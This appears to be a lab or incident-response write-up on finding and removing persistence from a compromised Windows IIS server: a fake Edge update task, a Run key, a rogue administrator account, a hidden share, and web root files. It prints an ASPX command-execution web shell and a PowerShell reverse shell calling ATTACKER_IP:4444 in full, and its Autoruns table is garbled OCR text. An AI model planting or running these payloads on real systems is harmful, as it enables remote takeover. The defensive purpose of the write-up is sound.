1. Scheduled Tasks and Startup Registry Keys

How They Were Found

• Detection with Autoruns:

Using Autoruns, the system was scanned for all startup processes. The tool revealed an anomalous scheduled task named **"MicrosoftEdgeUpdateTaskCore"** that did not match the expected behavior of a genuine Microsoft Edge updater.

Image: Comparison Sun Mar 2 (1732-05 2025 Image: Comparison (Verified) Microsoft Windows) Current/Version/Run Sun Mar 2 (1732-05 2025 Image: Comparison (Verified) Microsoft Windows) CUWINDOWS) AzureAir-Costup/System/SzumeAir-Costup/System/	D Lana				
Image: Comparison of the control of	The Logon				Cup May 2 17/22/05 2025
 (write) microsoft Caporation (Write) Microsoft Caporation (Write) Microsoft Caporation (Write) Microsoft Write) Visual Rescape Society (Write) Microsoft Write) Visual Rescape Society (Write) Microsoft Write) Visual Rescape Society (Write) Write) Visual Rescape Visual Rescape	Thumbur I ware (windows/CurrentVersion/Run		41 T D L D D D D D D D D D D D D D D D D D		Sun Mar 2 17:52:03 2025
Variety Mindow ForeShell (Vindows) Convention (Vindows) C. (Vindo	AzureArcSetup		(ventied) Microsoft Corporation	C:\WINDOWS\AzureArcSetup\Systray\AzureArcSysTray.exe	Sun Mar 2 10:38:58 2025
■ Whate Use Process Whate Lose Yorcess Whate Lose Yorcess Mon Age 10002/8 2024 ■ HKLM/SSTERLACENTECK Mon Age 10002/8 2024 Mon Age 10002/8 2024 ■ HKLM/SSTERLACENTECK Windows Command Processor (Vinfied) Microsoft Windows C:WINDOWS system32.cmd.ace Sun Mar 2 1028/8 2025 ■ HKLM/SSTERLACENTEX Windows Command Processor (Vinfied) Microsoft Windows C:WINDOWS system32.cmd.ace Sun Mar 2 1028/8 2025 ■ HKLM/SSTERLACENTEX Windows Command Processor (Vinfied) Microsoft Windows C:WINDOWS system32.cmd.ace Sun Mar 2 1028/8 2025 ■ HKLM/SSTERLACENTEX Sun Mar 2 1028/8 2025 Sun Mar 2 1028/8 2025 Sun Mar 2 1028/8 2025 ■ Nicrosoft Edge Installer (Vinfied) Microsoft Corporation C:Windows/System32/mscories.dll Mon Age 1 00002/8 2024 ■ Na Microsoft Age Installer (Vinfied) Microsoft Corporation C:Windows/System32/mscories.dll Mon Age 1 00002/8 2024 ■ Na Microsoft Microsoft/WARE/WowS422Node/Microsoft/Ware/WowS42Node/Microsoft/Ware/WowS42Node/Microsoft/Ware/WowS42Node/Microsoft/Ware/WowS42Node/Microsoft/Ware/WowS42Node/Microsoft/Ware/WowS42Node/Microsoft/Ware/WowS42Node/Microsoft/Ware/WowS42Node/Microsoft/Ware/WowS42Node/Microsoft/Ware/WowS42Node/Microsoft/Ware/WowS42Node/Microsoft/Ware/WowS42Node/Microsoft/Ware/WowS42Node/Microsoft/Ware/WowS42Node/Microsoft/Ware/WowS42Node/Microsoft/Ware/WowS42Noge/WowS42Node/Microsoft/Ware/WowS42Node/Microsoft/Ware/WowS42Nod	2 Updaterservice	Windows Powershell	(Ventied) Microsoft Windows	C:\WINDOWS\systems2\WindowsPowerShell\v1.0\PowerShell.exe	Mon Apr 1 00:00:33 2024
IMPROVE INFORCEMEnt Control Set Control AlternateShell Available Set InternateShell Available Shells Mon Apr 1 0002/98 2024 IMPROVE INFORCEMENT INFORMATION INFORMATIO	VMware User Process	VMware Tools Core Service	(Ventied) Broadcom Inc	C:\Program Files\VMware\VMware Tools\vmtoolsd.exe	Thu May 2 04:07:06 2024
Concerned Processor (Verified) Microsoft Windows Command Processor (Verified) Microsoft Corporation (Verified) Microsoft Corporation Command Processor (Verified) Microsoft Corpor	HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\AlternateShell				Mon Apr 1 00:02:36 2024
Implicit Multi-Software Multicosoft Windows NTC intervet Weise Multi-Software Multicosoft Corporation C/WINDOWS/system32/cmd.exe Sum Mar 2 103492 2025 Implicit Multi-Software Multicosoft Addre Software Multicosoft Corporation C/WINDOWS/system32/cmd.exe Sum Mar 2 104145 2025 Implicit Multicosoft Multicosoft Addre Software Multicosoft Corporation C/Windows/System32/mscories.dll Mon Apr 1 000024 2024 Implicit Multicosoft Multicosoft Multicosoft Corporation C/Windows/System32/mscories.dll Mon Apr 1 000024 2024 Implicit Multicosoft Windows/CurrentVersion/Epidere/Moves/Edger Policy Sum Mar 2 104145 2025 Sum Mar 2 104145 2025 Implicit Multicosoft Windows/CurrentVersion/Epidere/Moves/Edger Policy Sum Mar 2 1025714 2025 Sum Mar 2 1022714 2025 Implicit Multicosoft Windows/CurrentVersion/Epidere/Moves/Edger Policy Sum Mar 2 1025714 2025 Sum Mar 2 1025714 2025 Implicit Multicosoft/Windows/Application Epidere/Maresex Helper Objects Sum Mar 2 102385 2025 Sum Mar 2 102385 2025 Implicit Microsoft/Windows/Application Epidere/Maresex Helper Objects Sum Mar 2 102385 2025 Sum Mar 2 102385 2025 Implicit Microsoft/Windows/Application Epidere/Maresex Sum Mar	Cmd.exe	Windows Command Processor	(Verified) Microsoft Windows	C:\WINDOWS\system32\cmd.exe	Sun Mar 2 10:38:59 2025
Image: Source Vindows Command Processor (Vinfied) Microsoft Windows C/WINDOWS hystem32/cmd.exe Sum Mar 2 1034359 2025 Image: Microsoft Edge: Microsoft Edge: Installer Components Microsoft Edge: Microsoft Edge: Installer Components C/Program Files (d6)/Microsoft/Edge/Application 133.0.3055 92/Install. Sum Mar 2 103415205 Image: Microsoft Edge: Microsoft Edge: Installer Components Microsoft Microsoft Vindows/System32/cmscories.dll Mon Apr 1 0002024 2024 Image: Microsoft Windows/CorrentViscin/Edge/Application 133.0.3055 92/Install. Microsoft Nit I & SECURITY REGISTRATION (Verified) Microsoft Corporation C/Windows/System32/cmscories.dll Mon Apr 1 0002024 2024 Image: Microsoft Windows/CurrentViscin/Epiore/Browset Hicrosoft Windows/System32/microsoft/Edge/Application 133.0.3055 92/BHO/. Wed Feb 26 2259055 2025 Image: Microsoft Windows/CurrentViscin/Epiore/Browset Helper Objects Sum Mar 2 1024142 025 Sum Mar 2 1024142 025 Image: Microsoft Windows/Application Epicience/MareBackup Gathers Win2 2 pplication data for App B (Verified) Microsoft Corporation C/Program Files (d6)/Microsoft/Edge/Application 133.0.3055 92/BHO/. Wed Feb 26 225045 2025 Image: Microsoft Windows/Application Epicience/MareBackup Gathers Win2 2 pplication data for App B (Verified) Microsoft Corporation C/WINDOWS/System32/compattelumner.exe Sum Mar 2 103859 2025 Image: Microsoft W	HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Alte	ernateShells\AvailableShells			Mon Apr 1 01:12:40 2024
Implementation Sum Mar 2 (104:145 2025 Implementation CAProgram Files (68)/Microsoft/Edge/Application 133.0.3055/2.0.Intall. Num 2 170:231 2025 Implementation CAProgram Files (68)/Microsoft/Edge/Application 133.0.3055/2.0.Intall. Num 2 170:231 2025 Implementation Sum Arr 2 (104:145 2025 Sum Arr 2 (104:145 2025 Implementation Microsoft / Microsoft / Microsoft / Sup Arr 2 (104:145 2025 Sum Arr 2 (104:145 2025 Implementation Microsoft / Microsoft / Sup Arr 2 (104:145 2025 Sum Arr 2 (104:145 2025 Implementation Microsoft / Microsoft / Sup Arr 2 (104:145 2025 Sum Arr 2 (104:145 2025 Implementation Microsoft / Microsoft / Sup Arr 2 (102:145 2025 Sum Arr 2 (104:145 2025 Implementation Implementation Carr 2 (104:145 2025 Sum Arr 2 (104:145 2025 Implementation Implementation Carr 2 (104:145 2025 Sum Arr 2 (104:145 2025 Implementation Implementation Carr 2 (104:145 2025 Sum Arr 2 (104:145 2025 Implementation Implementation Carr 2 (104:145 2025 Sum Arr 2 (104:145 2025 Implementation Implementation Carr 2 (104:145 2025 Sum Arr 2 (104:145 2025 Implementation Implementation Carr 2 (104:145	30000	Windows Command Processor	(Verified) Microsoft Windows	C:\WINDOWS\system32\cmd.exe	Sun Mar 2 10:38:59 2025
Cyhrogram Files (db)/Microsoft Edge Application 133.0.3055 92/install. Sun Mar 2 1023 Cyhrogram Files (db)/Microsoft Edge/Application 133.0.3055 92/install. Sun Mar 2 1023 Cyhrogram Files (db)/Microsoft Edge/Application 133.0.3055 92/install. Sun Mar 2 104145 2025 Cyhrogram Files (db)/Microsoft Edge/Application 133.0.3055 92/install. Sun Mar 2 104145 2025 Cyhrogram Files (db)/Microsoft Edge/Application 133.0.3055 92/install. Sun Mar 2 104145 2025 Cyhrogram Files (db)/Microsoft Edge/Application 133.0.3055 92/install. Sun Mar 2 104145 2025 Cyhrogram Files (db)/Microsoft Edge/Application 133.0.3055 92/install. Sun Mar 2 102142025 Cyhrogram Files (db)/Microsoft Edge/Application 133.0.3055 92/install. Sun Mar 2 10227:14 2025 Cyhrogram Files (db)/Microsoft Edge/Application 133.0.3055 92/iBHO. Werl Feb 28 22:9055 8225 Sun Mar 2 1227:14 2025 Cyhrogram Files (db)/Microsoft Edge/Application 133.0.3055 92/iBHO. Werl Feb 28 22:9055 8225 Sun Mar 2 1227:14 2025 Sun Mar 2 1227:14 2025 Sun Mar 2 10227:14 2025 Sun Mar 2 10238:9 2025 Microsoft/Windows/Application Experie	HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components				Sun Mar 2 10:41:45 2025
ClWindows/System32/nccoints.all Mon Apr 1 00024 2024 Microsoft NET IE SECURITY REGISTRATION (Verified) Microsoft Corporation ClWindows/System32/nccoints.all Mon Apr 1 00024 2024 Microsoft Net I ESECURITY REGISTRATION (Verified) Microsoft Corporation ColWindows/System32/nccoints.all Mon Apr 1 00024 2024 Microsoft Net I ESECURITY REGISTRATION (Verified) Microsoft Corporation ColWindows/System32/nccoints.all Mon Apr 1 00024 2024 Microsoft Net I ESECURITY REGISTRATION (Verified) Microsoft Corporation ColWindows/System32/nccoints.all Mon Apr 1 00024 2024 Microsoft Windows/CurrentVersion/Explore/Browser Helper Object Sun Mar 2 1227:14 2025 Microsoft Windows/CurrentVersion/Explore/Browser Helper Object Sun Mar 2 1227:14 2025 Microsoft Windows/CurrentVersion/Explore/Browser Helper Object Sun Mar 2 1227:14 2025 Microsoft/Windows/Application Experience/MareBackup Gathers Win32 explication data for App B (Verified) Microsoft Corporation C/WINDOWS/system32/nccompate/unner.exe Sun Mar 2 10:38:59 2025 Microsoft/Windows/Application Experience/MareBackup Gathers Win32 explication data for App B (Verified) Microsoft Corporation C/WINDOWS/system32/nccompate/unner.exe Sun Mar 2 10:38:59 2025 Microsoft/Windows/Application Experience/MareBackup Gathers Win32 explication data for App B (Verified) Microsoft Corporation C/WINDOWS/system32/ncompate/unner.exe Sun Mar 2 10:38:59 2025 Microsoft/Windows/Application Experience/MareBackup Gathers Win32 explication data for App B (Verified) Microsoft Corporation C/WINDOWS/system32/ncompate/unner.exe Sun Mar 2 10:38:59 2025 Microsoft/Windows/Application Experience/MareBackup Microsoft/Windows/Application Experience/MareBackup Microsoft/Windows/Application Experience/MareBackup Microsoft/Windows/Application Experience/MareBackup Microsoft/Windows/Application Experience/MareBackup Microsoft/Windows/App	🗹 🔯 Microsoft Edge	Microsoft Edge Installer	(Verified) Microsoft Corporation	C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.92\Install	Sun Mar 2 17:02:31 2025
Image: Microsoft Windows/Lepress/Windows/Lepresss/Windows/Lepress/Windows/Lepress/Windows/Lepre	🔽 🖻 n/a	Microsoft .NET IE SECURITY REGISTRATION	(Verified) Microsoft Corporation	C:\Windows\System32\mscories.dll	Mon Apr 1 00:00:24 2024
Image: Second	HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Co	omponents			Sun Mar 2 10:41:45 2025
Explorer Ender En	🔽 🖻 n/a	Microsoft .NET IE SECURITY REGISTRATION	(Verified) Microsoft Corporation	C:\Windows\System32\mscories.dll	Mon Apr 1 00:00:24 2024
Constrained Explored Constrained Expl	T Explorer				
Image: High: Schware Mucrosoft Windows/CurrentVersion/Explore/Bioveser Helper Objects Sum Mar 2 12:227:14 2025 Image: Biology BHO In Erdsdge BHO [Verified] Microsoft Corporation C\/Program Files (db)/Microsoft/Edge/Application 133.0.3055 92:BHO). We fee b2 22:053 2025 Image: Biology BHO [Erdsdge BHO [Verified] Microsoft Corporation C\/Program Files (db)/Microsoft/Edge/Application 133.0.3055 92:BHO). We fee b2 22:054 2025 Image: Biology BHO [Erdsdge BHO [Verified] Microsoft Corporation C\/Program Files (db)/Microsoft/Edge/Application 133.0.3055 92:BHO). We fee b2 22:054 2025 Image: Biology BHO [Erdsdge BHO [Verified] Microsoft Corporation C\/WINDOWS/system32/compattel/unner.exe Sun Mar 2 10:38:59 2025 Image: Biology BHO [Sthethuler [Sthethuler C\/WINDOWS/system32/compattel/unner.exe Sun Mar 2 10:38:59 2025 Image: Biology BHO [Sthethuler: Sthethuler [Sthethuler: Sthethuler: Sthet	🥭 Internet Explorer				
Image: Start School (Start	HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser	Helper Objects			Sun Mar 2 12:27:14 2025
Image: High: Set Work Work Set View Work	🗹 🗟 IEToEdge BHO	IEToEdge BHO	(Verified) Microsoft Corporation	C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.92\BHO\	Wed Feb 26 22:50:55 2025
CAProgram Files (x86)/Microsoft/Edge/Application 133.0.3055 92/08H0/ Ved Feb 28 22:50:41 2025 CAProgram Files (x86)/Microsoft/Edge/Application 133.0.3055 92/08H0/ Ved Feb 28 22:50:41 2025 CAProgram Files (x86)/Microsoft/Edge/Application 133.0.3055 92/08H0/ Ved Feb 28 22:50:41 2025 CAProgram Files (x86)/Microsoft/Edge/Application 133.0.3055 92/08H0/ Ved Feb 28 22:50:41 2025 CAProgram Files (x86)/Microsoft/Edge/Application 133.0.3055 92/08H0/ Ved Feb 28 22:50:41 2025 CAProgram Files (x86)/Microsoft/Edge/Application 152:01:10:10:10:10:10:10:10:10:10:10:10:10:	HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\E	xplorer\Browser Helper Objects			Sun Mar 2 12:27:14 2025
Constraint of the start o	🗹 🖻 IEToEdge BHO	IEToEdge BHO	(Verified) Microsoft Corporation	C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.92\BHO\	Wed Feb 26 22:50:41 2025
Task Scheduler	Scheduled Tasks				
End Microsoft Windows/Application Experience/MareBackup Gathest Win32 application data for App B (Verified) Microsoft Corporation Converted Microsoft Windows/Application Experience/MareBackup Gathest Win32 application data for App B (Verified) Microsoft Corporation Converted Windows/Application Experience/MareBackup Gathest Win32 application data for App B (Verified) Microsoft Corporation Converted Windows/Application Experience/MareBackup Gathest Win32 application data for App B (Verified) Microsoft Corporation Converted Windows/Application Experience/MareBackup Gathest Win32 application data for App B (Verified) Microsoft Corporation Converted Windows/Application Experience/MareBackup Gathest Win32 application data for App B (Verified) Microsoft Corporation Converted Windows/Application Experience/MareBackup Microsoft Windows/Setwer Invectory Loging/Collection Windows Command Processor (Verified) Microsoft Corporation (Verified) Microsoft Corporation (Verified) Microsoft Windows Converted Windows Windows Converted Windows	Task Scheduler				
CMVINDOVS/system32(compatibilitation Experience/MareBackup Gathers Win32 application data for App B (Verified) Microsoft Corporation CVVINDOVS/system32(compatibilitation Experience/MareBackup Gathers Win32 application data for App B (Verified) Microsoft Corporation CVVINDOVS/system32(compatibilitation Experience/MareBackup Gathers Win32 application data for App B (Verified) Microsoft Corporation (VVINDOVS)system32(compatibilitation Experience/MareBackup Gathers Win32 application data for App B (Verified) Microsoft Corporation (VVINDOVS)system32(compatibilitation Experience/MareBackup Gathers Win32 application data for App B (Verified) Microsoft Corporation (VVINDOVS)system32(compatibilitation Experience/MareBackup Gathers Win32 application data for App B (Verified) Microsoft Corporation (VVINDOVS)system32(compatibilitation Experience/MareBackup Gathers Win32 application data for App B (Verified) Microsoft Windows) Gathers Win32 application data for App B (Verified) Microsoft Corporation (VVINDOVS)system32(compatibilitation Experience/MareBackup Gathers Win32 application data for App B (Verified) Microsoft Windows) Gathers Win32 application data for App B (Verified) Microsoft Windows) Gathers Win32 application data for App B (Verified) Microsoft Windows) Gathers Windows Gathers Win32 application data for App B (Verified) Microsoft Windows) GuiNNDOVS)system32(compatibilitation Except Sun Mar 2 1038:9205 Windows Command Processor (Verified) Microsoft Windows GuiNNDOVS)system32(cmd.exe Sun Mar 2 1038:9205 Windows Command Processor (Verified) Microsoft Windows GuiNNDOVS)system32(cmd.exe Sun Mar 2 1038:9205 Windows Command Processor (Verified) Microsoft Corporation (Verified) Microsoft Corporation (Verified) Microsoft Windows Gathers Windows Microsoft/Windows/Mediatel/Bisegate Sun Mar	VMicrosoft\Windows\Application Experience\MareBackup	Gathers Win32 application data for App B	(Verified) Microsoft Corporation	C:\WINDOWS\system32\compattelrunner.exe	Sun Mar 2 10:38:59 2025
Construction of the set of t	Image: Microsoft\Windows\Application Experience\MareBackup	Gathers Win32 application data for App B	(Verified) Microsoft Corporation	C:\WINDOWS\system32\compattelrunner.exe	Sun Mar 2 10:38:59 2025
Click Toppster Link Concent Windows Application Experience Minicrosoft Compare Learners in Click Toppster Link Concent & Concent Windows Application Experience Minicrosoft Compare Link Concent & Concent Windows Application Experience Minicrosoft Compare Link Concent & Co	Image: Microsoft\Windows\Application Experience\MareBackup	Gathers Win32 application data for App B	(Verified) Microsoft Corporation	C:\WINDOWS\system32\compattelrunner.exe	Sun Mar 2 10:38:59 2025
PMicrosoft/Windows/Server Manager/CleanupOldPerLogs Microsoft © Console Based Script Host (Verified) Microsoft Windows (Verified) Microsoft Vindows	Microsoft\Windows\Application Experience\Microsoft Compa	Collects program telemetry information i	(Verified) Microsoft Corporation	C:\WINDOWS\system32\compattelrunner.exe	Sun Mar 2 10:38:59 2025
Microsoft/Window/Software Inventory Logging/Cellician Windows Command Processor (Virfield) Microsoft Windows Command Processor (Virfield) Microsoft Windows Command Processor (Virfield) Microsoft Windows Command Processor (Virfield) Microsoft Windows Command Processor (Virfield) Microsoft Windows Command Processor (Virfield) Microsoft Windows Command C	Server Manager\CleanupOldPerfLogs	Microsoft Console Based Script Host	(Verified) Microsoft Windows	C:\WINDOWS\system32\cscript.exe	Sun Mar 2 10:39:12 2025
ClyVIINDOWS/software Inventory Logging)Configuration Windows Command Processor Vierfield) Microsoft Windows Vierfield) Microsoft Windows Vierfield) Microsoft Windows Vierfield) Microsoft Windows Vierfield) Viersoft Vierfield Viersoft Vierfield) Viersoft Viersoft Viersoft Vierfield Viersoft Vierso	Microsoft\Windows\Software Inventory Logging\Collection	Windows Command Processor	(Verified) Microsoft Windows	C:\WINDOWS\system32\cmd.exe	Sun Mar 2 10:38:59 2025
Microsoft Windows/UpdateOrchestrator/U50_UbBroker This task triggers a system reboot followi File not found: C:\WINDOWS\Synwow64.MusNotification.exe Microsoft Corporation	Microsoft\Windows\Software Inventory Logging\Configuration	Windows Command Processor	(Verified) Microsoft Windows	C:\WINDOWS\system32\cmd.exe	Sun Mar 2 10:38:59 2025
Windersoft/Windows/Windows/Windows/Windows/Windows/Windows/Wedia Sharing/UpdateLibrary This task updates the cached list of folder (Not Verified) Microsoft Corporatis CAProgram Files/Windows/Media Player/wmpnscfg.exe Sun Mar 2 10:39:28 2025 Windows/EdgeUpdateTaskMachine/Core/69248E08-338C-46CF Keeps your Microsoft software up to date (Verified) Microsoft Corporation C/Program Files/Windows/Media Player/wmpnscfg.exe Sun Mar 2 10:39:28 2025 Fife 28 20:18:56 2025 Windows/Microsoft/EdgeUpdateTaskMachine/Core/69248E08-338C-46CF Keeps your Microsoft software up to date (Verified) Microsoft Corporation C/Program Files/Windows/MediaUdate/Microsoft/EdgeUpdate.exe Mon Mar 25 15:23:04 2024 Windows/Microsoft/EdgeUpdate/Micr	Image: Microsoft\Windows\UpdateOrchestrator\USO_UxBroker	This task triggers a system reboot followi		File not found: C:\WINDOWS\Syswow64\MusNotification.exe	
Keeps your Microsoft software up to date. (Verified) Microsoft Corporation Keeps your Microsoft software up to date. (Verified) Microsoft Corporation CATools/9:Exec.exe Fri Feb 28 20:18:55 2025 Microsoft:dgeUpdateTaskMachineL08599248208-3802-4665-w. Keeps your Microsoft software up to date (Verified) Microsoft:Corporation CATools/9:Exec.exe Fri Feb 28 20:18:55 2025 Microsoft:dgeUpdateTaskMachineL08599248208-3802-4665-w. Keeps your Microsoft:Software up to date (Verified) Microsoft:Corporation CATools/9:Exec.exe Fri Feb 28 20:18:55 2025 Microsoft:GgeUpdateTaskMachineL08599248208-3802-4665-w. Mon Mar 25 15:23:342 2024 Microsoft:GgeUpdateTaskMachineL04599248203-2014 Microsoft:GgeUpdateTaskMachineL08599248204	Microsoft\Windows\Windows Media Sharing\UpdateLibrary	This task updates the cached list of folder	(Not Verified) Microsoft Corporati	C:\Program Files\Windows Media Player\wmpnscfg.exe	Sun Mar 2 10:39:28 2025
KincrosoftEdgeUpdateTaskMachineCore(99248080-338C-46CF Keeps your Microsoft software up to date (Verified) Microsoft Corporation C/Program Files (x86)/MicrosoftEdgeUpdateAi/MicrosoftEdgeUpdate.exe Mon Mar 25 15:23:04 2024 C/Program Files (x86)/MicrosoftEdgeUpdateTaskMachineLVIE899228-2019-4F6B-96 Keeps your Microsoft software up to date (Verified) MicrosoftCorporation C/Program Files (x86)/MicrosoftEdgeUpdateAi/MicrosoftEdgeUpdate.exe Mon Mar 25 15:23:04 2024 C/Program Files (x86)/MicrosoftEdgeUpdateTaskMachineLVIE899228-2019-4F6B-96 Keeps your Microsoft software up to date (Verified) MicrosoftCorporation C/Program Files (x86)/MicrosoftEdgeUpdateAi/MicrosoftEdgeUpdate.exe Mon Mar 25 15:23:04 2024	☑ ■ \MicrosoftEdgeUpdateTaskCore	Keeps your Microsoft software up to date.	(Verified) Microsoft Corporation	C:\Tools\PsExec.exe	Fri Feb 28 20:18:56 2025
Nicrosoft EdgeUodateTaskMachineUA(B8992288-2018-4F68-96 Keeps your Microsoft Software up to date Verified) Microsoft Corporation	MicrosoftEdgeUpdateTaskMachineCore/69248E0B-358C-46CF	Keeps your Microsoft software up to date	(Verified) Microsoft Corporation	C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe	Mon Mar 25 15:23:04 2024
	MicrosoftEdgeUpdateTaskMachineUA(B8992288-2018-4F6B-96	Keeps your Microsoft software up to date	(Verified) Microsoft Corporation	C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe	Mon Mar 25 15:23:04 2024

• Registry Key Discovery:

Autoruns also highlighted a suspicious startup registry entry labeled **"UpdaterService"** under HKLM:\Software\Microsoft\Windows\CurrentVersion\Run. This entry was out of place and was not associated with any known legitimate service.

• We know these two are malicious because the "**UpdaterService**" is starting powershell, and clicking on it will reveal it's passing arguments to start the goose. The **scheduled task** on the other hand, is directly starting C:\Tools\PsExec.exe, as seen in the column.

Remediation Steps

Remove the Malicious Scheduled Task:

```
Unregister-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskCore"
-Confirm:$false
```

Remove the Suspicious Startup Key:

```
Remove-ItemProperty -Path
"HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name
"UpdaterService"
```

2. User Account Manipulation

How They Were Found

• Account Enumeration:

By running the net user command, a list of user accounts was generated. An unexpected account, **"DefaultUser"**, was identified. We can further enumerate this account by seeing it's group membership with:

net user DefaultUser

This reveals the user to be a part of the Administrators group and the Remote Desktop Users group, indicating it as malicious.

Remediation Steps

• Delete the Unwanted User Account:

```
net user DefaultUser /delete
```

PS C:\Users\Administrator> net user									
User accounts for \\WIN-8M5NE06FKV9									
Administrator Defa Guest WDAC The command completed success	aultAccount SUtilityAccount sfully.	DefaultUser							
PS C:\Users\Administrator> ne User name Full Name Comment User's comment	et user DefaultUser DefaultUser								
Country/region code Account active Account expires	000 (System Default) Yes Never								
Password last set Password expires Password changeable Password required User may change password	3/2/2025 5:04:28 PM 4/13/2025 5:04:28 PM 3/2/2025 5:04:28 PM Yes Yes								
Workstations allowed Logon script User profile Home directory Last logon	All Never								
Logon hours allowed	All								
Local Group Memberships Global Group memberships The command completed success	*Administrators *Users *None sfully.	*Remote Desktop Users							
PS C:\Users\Administrator>									

3. Web Root Injections and Web Shells

How They Were Found

• Directory Inspection:

A manual directory listing of the web root (C:\inetpub\wwwroot) revealed hidden files that did not appear to belong to the website. Tools like Autoruns helped in identifying these anomalous files.

<pre>PS C:\Users\Administrator> Get-ChildItem -Path "C:\inetpub\wwwroot" -Force</pre>									
Directory: C:\inetpub\wwwroot									
Mode	LastWriteTime		Length	Name					
d	3/2/2025	11:51	АΜ		aspnet_client				
-a-h	2/28/2025	8:47	ΡM	379	cmd.aspx				
-a-h	3/2/2025	11:55	АΜ	575	Global.asax				
-a	3/2/2025	11:50	АΜ	703	iisstart.htm				
-a	3/2/2025	11:50	АΜ	99710	iisstart.png				
-a-h	2/28/2025	8:16	ΡM	262	web.config				
PS C:\Users\Ad	ministrator	>							

• Suspicious Web Shell Discovery:

A file named **"cmd.aspx"** was found in the web root. Reading its content using Get-Content confirmed it contained suspicious code intended to execute commands remotely.

```
PS C:\Users\Administrator> Get-Content -Path "C:\inetpub\wwwroot\cmd.aspx"
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
    string cmd = Request["cmd"];
    Process proc = new Process();
    proc.StartInfo.FileName = "cmd.exe";
    proc.StartInfo.Arguments = "/c " + cmd;
    proc.StartInfo.UseShellExecute = false;
    proc.StartInfo.RedirectStandardOutput = true;
    proc.Start();
    Response.Write(proc.StandardOutput.ReadToEnd());
%>
    PS C:\Users\Administrator>
```

Remediation Steps

Test the Web Shell:

curl.exe "http://localhost/cmd.aspx?cmd=whoami"

PS C:\Users\Administrator> curl.exe "http://localhost/cmd.aspx?cmd=whoami" nt authority\system

You may have also noticed the web shell was added as an exclusion in windows defender:



Remove the Web Shell:

Remove-Item -Path "C:\inetpub\wwwroot\cmd.aspx" -Force

Check and Clean Configuration Files:

```
Get-Content -Path "C:\inetpub\wwwroot\Global.asax"
Get-Content -Path "C:\inetpub\wwwroot\web.config"
```



Looking at these two files, we can see they are the source of every request made to the website launching a goose.

Remove-Item -Path "C:\inetpub\wwwroot\Global.asax" -Force
Remove-Item -Path "C:\inetpub\wwwroot\web.config" -Force

PS C:\Users\Administrator> Remove-Item -Path "C:\inetpub\wwwroot\Global.asax" -Force
PS C:\Users\Administrator> Remove-Item -Path "C:\inetpub\wwwroot\web.config" -Force

PS C:\Users\Administrator> Get-ChildItem -Path "C:\inetpub\wwwroot" -Force

Directory: C:\inetpub\wwwroot

Mode	LastWriteTime			Length	Name
d	3/2/2025	11:51	АΜ		aspnet_clien
-a-h	2/28/2025	8:47	ΡM	379	cmd.aspx
-a-h	3/2/2025	11:55	АΜ	575	Global.asax
-a	3/2/2025	11:50	АΜ	703	iisstart.htm
-a	3/2/2025	11:50	АΜ	99710	iisstart.png
-a-h	2/28/2025	8:16	ΡM	262	web.config

PS C:\Users\Administrator>

4. Network Shares and Temporary Files

How They Were Found

• Network Share Inspection:

Using the commands net share and Get-SmbShare, unusual shares were identified—specifically, shares like **"WinShare"** that did not appear in normal configurations.

PS C:\Use	PS C:\Users\Administrator> net share							
Share name	e Resou	rce	Remark					
C\$ IPC\$ ADMIN\$ WinShare The comman	C:\ C:\WIM C:\Wim nd complet rs\Adminis	NDOWS ndows\Temp ted successfully strator> Get-Smb	Default share Remote IPC Remote Admin					
Name	ScopeName	Path	Description					
ADMIN\$ C\$ IPC\$ WinShare PS C:\Use	 * * * rs\Adminis	C:\WINDOWS C:\ C:\Windows\Temp strator>	Remote Admin Default share Remote IPC					

• Temporary Directory Analysis:

The Windows Temp directory was scanned (via Get-ChildItem), uncovering suspicious

scripts such as "taskhelper.ps1", which are often used to maintain persistence.										
PS C:\Users\	PS C:\Users\Administrator> Get-ChildItem -Path "C:\Windows\Temp" -Force									
Director	Directory: C:\Windows\Temp									
		(
Mode	Last	Writel:	ıme	Length	Name					
d	3/2/2025	5:51	ΡM		Fonts					
d	3/2/2025	10:45	AM		SSS_c38ea648a38bdb010100000080219c21					
d	3/2/2025	12:31	ΡM		vmware-SYSTEM					
-a	3/2/2025	12:27	ΡM	88959	msedge_installer.log					
-a	3/3/2025	7:19	AM	102	silconfig.log					
-a-h	3/2/2025	5:03	ΡM	537	taskhelper.ps1					
-a	3/2/2025	5:52	ΡM	35059	vmware-vmsvc-SYSTEM.log					
-a	3/3/2025	7:19	AM	2940	vmware-vmtoolsd-Administrator.log					
-a	3/3/2025	7:18	AM	2940	vmware-vmtoolsd-SYSTEM.log					
-a	3/2/2025	5:52	ΡM	22479	vmware-vmusr-Administrator.log					
-a	3/3/2025	7:18	AM	2405	vmware-vmvss-SYSTEM.log					
PS C:\Users\	Administrator	>								

Remediation Steps

Inspecting "taskhelper.ps1" with the following command resulted in the discovery of a backdoor:

```
Get-Content -Path "C:\Windows\Temp\taskhelper.ps1"
```

```
PS C:\Users\Administrator> Get-Content -Path "C:\Windows\Temp\taskhelper.ps1"
$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
    $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush();
}
Client.Close();
PS C:\Users\Administrator>
```

Remove the Suspicious Script and Share:

PS C:\Users\Administrator> net share WinShare /delete WinShare was deleted successfully.

PS C:\Users\Administrator> Remove-Item -Path "C:\Windows\Temp\taskhelper.ps1" -Force

net share WinShare /delete
